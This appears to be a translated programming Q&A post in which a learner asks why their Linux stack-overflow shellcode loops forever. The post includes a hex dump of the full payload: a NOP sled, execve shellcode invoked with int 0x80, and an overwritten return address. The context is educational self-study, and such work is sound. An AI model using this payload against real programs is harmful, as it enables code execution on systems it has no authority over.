【发布时间】:2014-04-30 06:38:47
【问题描述】:
我正在学习使用 shellcode 进行堆栈利用。我把所有东西都整理好了,我的 shellcode 似乎一直工作到最后一条指令0xcd 0x80。在 shellcode 末尾应该发生的事情是发送中断(从 shellcode 分支出来),并且应该执行一个包含进一步指令的文件。如果我在命令行输入xxx/aa,我的文件就会运行(该文件的名称只是aa,它位于一个名为xxx 的目录中)。
我的插入代码的字节表示是这样的:
0000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000010: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000040: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000050: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000060: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000d0: 9090 9090 eb16 5b31 c088 4307 895b 0889 ......[1..C..[..
00000e0: 430c b00b 8d4b 088d 530c cd80 e8e5 ffff C....K..S.......
00000f0: ff78 7878 2f61 612f 7841 4141 4142 4242 .xxx/aa/xAAAABBB
0000100: 4241 4141 4114 f2ff bf0a BAAAA0....
这既插入了我的 shellcode,又完美地放置了新的返回地址。但是,当我运行此代码时,我会陷入无限循环。 0xcd 0x80 行用于发送中断并提供参数xxx/aa,就像我在命令行中键入一样。然而,程序并没有执行这一行,而是继续运行。由于下一行是对 shellcode 开头的回调,因此创建了一个无限循环。如果没有0xcd 0x80 行来突破shellcode,就没有办法了。
我做错了什么?如何让这个命令行行为出现在我的 shell 代码中。非常感谢!
【问题讨论】:
-
你能把你的shellcode的汇编助记符也贴出来吗?
-
你试过在调试器或 strace 下运行它吗?你生成的中断是一个系统调用,系统调用往往会返回,所以显然你可以期望它进入一个无限循环......
标签: linux assembly stack-overflow shellcode